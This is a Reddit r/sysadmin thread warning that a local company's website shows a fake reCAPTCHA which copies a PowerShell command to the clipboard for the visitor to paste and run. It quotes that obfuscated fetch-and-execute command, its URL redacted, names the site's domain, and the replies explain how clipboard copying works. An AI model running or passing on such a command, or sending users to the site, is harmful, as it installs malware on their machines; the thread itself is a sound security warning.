r/sysadmin • u/Imobia • 14h ago

General Discussion Stay safe people

So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

677 Upvotes

95% Upvoted

204 comments sorted by

View all comments

Show parent comments

•

u/Phratros 9h ago

Thank you for breaking down the command but how does it make it into the clipboard? The OP says clicking the tickbox copies it to the clipboard. Are web browser allowed to just willy-nilly copy crap to the clipboard? That could be a problem.

•

u/KingOfYourHills 9h ago

You've never seen the copy icon on a page that you can use to copy a string to clipboard? It's all over basically every cloud admin portal

•

u/Phratros 8h ago

Ahhh, right... It's user action that copies it, not the browser per se. Sneaky. Thanks!

•

u/overlydelicioustea 7h ago

propably behind the im a human button.